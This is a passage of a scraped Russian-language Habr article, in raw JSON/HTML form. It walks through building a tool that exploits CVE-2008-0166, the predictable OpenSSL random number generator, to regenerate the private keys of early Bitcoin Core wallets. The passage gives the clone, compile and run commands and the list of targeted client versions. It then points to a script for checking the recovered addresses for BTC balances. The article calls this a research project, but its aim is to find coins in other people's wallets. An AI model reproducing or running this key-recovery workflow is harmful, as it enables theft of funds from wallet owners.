data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/151\/bd0\/4f2\/151bd04f2078f6668fa9001ec0281243.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">make depend all<\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/dad\/ad0\/5a2\/dadad05a20fb35f2022d3cd063a53db4.png\" width=\"512\" height=\"248\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/dad\/ad0\/5a2\/dadad05a20fb35f2022d3cd063a53db4.png\"\/><figcaption><\/figcaption><\/figure>\n<h2>\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 content\/<\/h2>\n<pre><code class=\"bash\">cd \/  ls<\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/07d\/ac7\/1fc\/07dac71fc87331f2d7764dcaab3880b1.png\" width=\"451\" height=\"354\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/07d\/ac7\/1fc\/07dac71fc87331f2d7764dcaab3880b1.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">cd content\/CryptoDeepTools\/05VulnerableOpenSSL\/  ls -lh <\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a80\/061\/cff\/a80061cffc581eb46cb2f1b9a11dd259.png\" width=\"431\" height=\"130\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a80\/061\/cff\/a80061cffc581eb46cb2f1b9a11dd259.png\"\/><figcaption><\/figcaption><\/figure>\n<h2>\u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f:<\/h2>\n<pre><code class=\"bash\">gcc -o cryptodeepbtcgen cryptodeepbtc.c -I.\/openssl-0.9.8c-vuln\/include -L.\/openssl-0.9.8c-vuln -lssl -lcrypto  ls -lh <\/code><\/pre>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c70\/338\/b5e\/c70338b5ee1f6991711f03d09c4e2932.png\" alt=\"cryptodeepbtcgen \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d!\" title=\"cryptodeepbtcgen \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d!\" width=\"515\" height=\"253\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c70\/338\/b5e\/c70338b5ee1f6991711f03d09c4e2932.png\"\/><figcaption>cryptodeepbtcgen \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d!<\/figcaption><\/figure>\n<pre><code class=\"bash\">LD_LIBRARY_PATH=.\/openssl-0.9.8c-vuln\/ .\/cryptodeepbtcgen -h<\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b60\/1a6\/941\/b601a69413aacc3e9efa10ef0fb084fb.png\" width=\"362\" height=\"111\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b60\/1a6\/941\/b601a69413aacc3e9efa10ef0fb084fb.png\"\/><figcaption><\/figcaption><\/figure>\n<h2>\u0412\u0441\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 Bitcoin Core:<\/h2>\n<pre><code class=\"bash\">LD_LIBRARY_PATH=.\/openssl-0.9.8c-vuln\/ .\/cryptodeepbtcgen -l<\/code><\/pre>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/77a\/b0d\/f5b\/77ab0df5baf110bd11c89ccebba0791d.png\" width=\"364\" height=\"236\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/77a\/b0d\/f5b\/77ab0df5baf110bd11c89ccebba0791d.png\"\/><figcaption><\/figcaption><\/figure>\n<pre><code class=\"bash\">crypto > LD_LIBRARY_PATH=.\/openssl-0.9.8c-vuln\/ .\/cryptodeepbtcgen -l #0   - 0.3.24 #1   - 0.8.6-d #2   - 0.8.6-qt #3   - 0.9.1-d #4   - 0.9.4-d #5   - unknownA #6   - unknownB #7   - unknownC #8   - unknownD #9   - unknownE #10  - unknownF #11  - unknownG #12  - unknownH #13  - unknownI #14  - unknownJ #15  - unknownK #16  - unknownA0 #17  - unknownA1 #18  - unknownA2 #19  - unknownA3 #20  - unknownA4 #21  - unknownB0 #22  - unknownB1 #23  - unknownB2 #24  - unknownB3 #25  - unknownC0 #26  - unknownC1 #27  - unknownC2 #28  - unknownD0 #29  - unknownD1 #30  - unknownD2 #31  - unknownD3 #32  - unknownD4 #33  - unknownD5 #34  - unknownE0 #35  - unknownA0x #36  - unknownA1x #37  - unknownA2x #38  - unknownA3x #39  - unknownA4x #40  - unknownB0x #41  - unknownB1x #42  - unknownB2x #43  - unknownB3x #44  - unknownC0x #45  - unknownC1x #46  - unknownC2x #47  - unknownD0x #48  - unknownD1x #49  - unknownD2x #50  - unknownD3x #51  - unknownD4x #52  - unknownD5x #53  - unknownE0x crypto > <\/code><\/pre>\n<h2>\u0417\u0430\u043f\u0443\u0441\u043a cryptodeepbtcgen -n 32 -v 0:<\/h2>\n<pre><code class=\"bash\">LD_LIBRARY_PATH=.\/openssl-0.9.8c-vuln\/ .\/cryptodeepbtcgen -n 32 -v 0 >> result.txt <\/code><\/pre>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f0b\/894\/bd8\/f0b894bd8b5866ffcbb33be8842347f2.png\" alt=\"\u0417\u0430\u043f\u0443\u0441\u043a cryptodeepbtcgen\" title=\"\u0417\u0430\u043f\u0443\u0441\u043a cryptodeepbtcgen\" width=\"962\" height=\"62\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f0b\/894\/bd8\/f0b894bd8b5866ffcbb33be8842347f2.png\"\/><figcaption>\u0417\u0430\u043f\u0443\u0441\u043a cryptodeepbtcgen<\/figcaption><\/figure>\n<p>\u0412\u0441\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 <code>Google Drive<\/code> \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b <code>result.txt<\/code><\/p>\n<figure class=\"bordered full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/abb\/8f1\/8ea\/abb8f18ea7575d6b967bbe083d984943.png\" width=\"727\" height=\"390\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/abb\/8f1\/8ea\/abb8f18ea7575d6b967bbe083d984943.png\"\/><figcaption><\/figcaption><\/figure>\n<h2>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447!  <\/h2>\n<figure class=\"bordered\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a56\/6c1\/cd9\/a566c1cd990cad3f07f356f0fd62e7d5.png\" alt=\"\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 bitaddress\" title=\"\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 bitaddress\" width=\"483\" height=\"453\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a56\/6c1\/cd9\/a566c1cd990cad3f07f356f0fd62e7d5.png\"\/><figcaption>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u043a\u043b\u044e\u0447 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435 bitaddress<\/figcaption><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0432\u0441\u0435 \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043c\u043e\u043d\u0435\u0442 BTC, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f <em>Python-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c<\/em>: <a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/blob\/main\/03CheckBitcoinAddressBalance\/bitcoin-checker.py\" rel=\"noopener noreferrer nofollow\">bitcoin-checker.py<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/05VulnerableOpenSSL\" rel=\"noopener noreferrer nofollow\"><strong><u>\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434<\/u><\/strong><\/a><\/p>\n<p><strong>\u0412\u0438\u0434\u0435\u043e\u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b:\u00a0<\/strong><a href=\"https:\/\/youtu.be\/zHkXups2I8k\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/youtu.be\/zHkXups2I8k<\/u><\/strong><\/a><\/p>\n<p><strong>\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:\u00a0<\/strong><a href=\"https:\/\/cryptodeep.ru\/vulnerable-openssl\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/cryptodeep.ru\/vulnerable-openssl<\/u><\/strong><\/a><\/p>\n<hr\/>\n<div class=\"tm-iframe_temp\" data-src=\"https:\/\/embedd.srv.habr.com\/iframe\/62d5d1096bb29b3416f407dc\" data-style=\"\" id=\"62d5d1096bb29b3416f407dc\" width=\"\"><\/div>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"v-portal\" style=\"display:none;\"><\/div>\n<\/div>\n<p> <!----> <!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/677562\/\"> https:\/\/habr.com\/ru\/post\/677562\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u0430 (P2KH), \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2008-0166. \u042d\u0442\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0435\u043a\u0442 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043c\u043e\u043d\u0435\u0442 BTC \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 Bitcoin Core<\/p>\n<figure class=\"bordered full-width\"><figcaption><\/figcaption><\/figure>\n<p><em>\u0413\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b<\/em>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442<em> <\/em>\u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u0435 \u0447\u0438\u0441\u043b\u0430 <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2008-0166\" rel=\"noopener noreferrer nofollow\"><strong>CVE-2008-0166<\/strong><\/a><\/p>\n<p><a href=\"https:\/\/knowledge.broadcom.com\/external\/article\/97348\/vaim-openssl-098100-detected.html\" rel=\"noopener noreferrer nofollow\">VAIM- OpenSSL 0.9.8\/1.0.0 Detected<\/a><\/p>\n<p>\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u0435\u0440\u0441\u0438\u0438 <code>OpenSSL 0.9.8<\/code> <a href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2008-0166\" rel=\"noopener noreferrer nofollow\"><strong>CVE-2008-0166<\/strong><\/a> \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u043b\u0430\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. \u0418\u0437-\u0437\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0439 \u043c\u0435\u0436\u0434\u0443 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u0431\u0430\u0439\u0442\u043e\u0432 \u0438 sizeof(long) \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u044f\u0442 \u043e\u0442 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b: <em>32<\/em>-\u0431\u0438\u0442\u043d\u044b\u0439 \u043f\u0440\u044f\u043c\u043e\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u0430\u0439\u0442\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>i386<\/code>), <em>64<\/em>-\u0431\u0438\u0442\u043d\u044b\u0439 \u043f\u0440\u044f\u043c\u043e\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u0430\u0439\u0442\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>amd64, ia64<\/code>), <em>32<\/em>-\u0431\u0438\u0442\u043d\u044b\u0439 \u043f\u0440\u044f\u043c\u043e\u0439 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0431\u0430\u0439\u0442\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, powerpc, sparc). <code>PID 0<\/code> \u2014 \u044d\u0442\u043e \u044f\u0434\u0440\u043e, \u0430 <code>PID_MAX<\/code> (<em>32768<\/em>) \u043d\u0435 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u0431\u044b\u043b\u043e <em>32767<\/em> \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u043f\u043e\u0442\u043e\u043a\u043e\u0432 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b.<\/p>\n<figure class=\"bordered full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 Bitcoin Core \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 <code>OpenSSL<\/code>. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>\u00abEC_KEY_generate_key()\u00bb<\/code> \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u043e\u0432 <em>(\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a\u043b\u044e\u0447\u0430)<\/em> \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u043b\u0430\u0442\u0435\u0436\u0435\u0439. \u0421\u0442\u0430\u0440\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Bitcoin Core \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0442 \u0438 \u0445\u0440\u0430\u043d\u044f\u0442 <em>100<\/em> \u043a\u043b\u044e\u0447\u0435\u0439 \u0432 <code>wallet.dat<\/code><\/p>\n<p>\u041d\u043e\u0432\u044b\u0439 \u043a\u043b\u044e\u0447 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0438 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u043f\u043b\u0430\u0442\u0435\u0436\u0430. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u044b\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 Bitcoin Core \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u043f\u0443\u043b \u0438\u0437 <em>100<\/em> \u043d\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043b\u044e\u0447\u0435\u0439 <em>(\u0430\u0434\u0440\u0435\u0441\u043e\u0432)<\/em>. \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0433\u043e \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0445 \u0447\u0438\u0441\u0435\u043b \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u044b \u0431\u044b\u043b\u0438 \u0441\u0434\u0435\u043b\u0430\u043d\u044b \u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 <code>OpenSSL<\/code> <em>\u0434\u043e \u0432\u044b\u0437\u043e\u0432\u0430<\/em> <code>'EC_KEY_generate_key()'<\/code>. \u0412\u044b\u0437\u043e\u0432\u044b, \u0432\u043b\u0438\u044f\u044e\u0449\u0438\u0435 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0413\u0421\u0427: <code>\u00abRAND_add(8)\u00bb, \u00abRAND_bytes(8)\u00bb \u0438 \u00abRAND_bytes(32)\u00bb.<\/code><\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u043b\u043e\u0441\u044c \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0441\u0442\u0430\u0440\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 \u0411\u0438\u0442\u043a\u043e\u0438\u043d\u0430, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c, \u043a\u0430\u043a\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u044b \u0431\u044b\u043b\u0438 \u0441\u0434\u0435\u043b\u0430\u043d\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0432\u043b\u0438\u044f\u043b\u0438 \u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0413\u0421\u0427 \u043f\u0435\u0440\u0435\u0434 \u0432\u044b\u0437\u043e\u0432\u043e\u043c <code>\u00abEC_KEY_generate_key()\u00bb.<\/code> \u041f\u0443\u0442\u044c \u0432\u044b\u0437\u043e\u0432\u0430 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 Bitcoin Core<\/p>\n<p><strong>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u043e \u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445:<\/strong><\/p>\n<figure class=\"bordered\"><figcaption>| \u0414\u0430\u0442\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u0412\u0435\u0440\u0441\u0438\u044f | <\/figcaption><\/figure>\n<p>\u041d\u0430\u0448\u0435 \u0446\u0435\u043b\u044c \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430 Bitcoin Core, \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b <code>(le32\/le64)<\/code>, \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438 \u0434\u043b\u044f \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u043e\u0432 <code>(P2KH)<\/code>, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u0438\u0437 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 <code>OpenSSL 0.9.8.<\/code><\/p>\n<p>\u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0413\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u0410\u0434\u0440\u0435\u0441\u043e\u0432 <code>(P2KH)<\/code> \u0438 \u0432\u0441\u0435 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u0444\u0430\u0439\u043b <code>result.txt<\/code> <\/p>\n<figure class=\"bordered\"><figcaption>\u0412\u0441\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0432 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0449\u0435 \u0444\u0430\u0439\u043b\u043e\u0432 Google Drive<\/figcaption><\/figure>\n<h2>\u0421\u0434\u0435\u043b\u0430\u0435\u043c OpenSSL \u0441\u043d\u043e\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c<\/h2>\n<p>\u0412\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e <em>\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u043c<\/em> <a href=\"https:\/\/github.com\/demining\/TerminalGoogleColab\" rel=\"noopener noreferrer nofollow\">&#171;Ubuntu 18.04.5 LTS&#187; \u043e\u0442 Google Colab<\/a><\/p>\n<figure class=\"bordered\"><figcaption><\/figcaption><\/figure>\n<p>\u0420\u0430\u043d\u0435\u0435 \u043c\u044b \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 <em>\u0432\u0438\u0434\u0435\u043e\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e<\/em>: <a href=\"https:\/\/cryptodeep.ru\/terminal-google-colab\/\" rel=\"noopener noreferrer nofollow\">\u00abTERMINAL \u0432 Google Colab \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0432\u0441\u0435 \u0443\u0434\u043e\u0431\u0441\u0442\u0432\u0430 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442 \u0432 GITHUB\u00bb<\/a><\/p>\n<p>\u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 Google Colab <a href=\"https:\/\/github.com\/demining\/TerminalGoogleColab\" rel=\"noopener noreferrer nofollow\"><strong>[TerminalGoogleColab]<\/strong><\/a><\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443:<\/p>\n<pre><code class=\"bash\">cat \/etc\/lsb-release<\/code><\/pre>\n<figure class=\"bordered\"><figcaption> &#171;Ubuntu 18.04.5 LTS&#187;<\/figcaption><\/figure>\n<p>\u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u0432 <em>\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044e<\/em> <a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/05VulnerableOpenSSL\" rel=\"noopener noreferrer nofollow\">\u00abCryptoDeepTools\u00bb<\/a> \u0438 \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0432\u0441\u0451 \u0432 \u0434\u0435\u0442\u0430\u043b\u0438<\/p>\n<pre><code class=\"bash\">git clone https:\/\/github.com\/demining\/CryptoDeepTools.git  cd 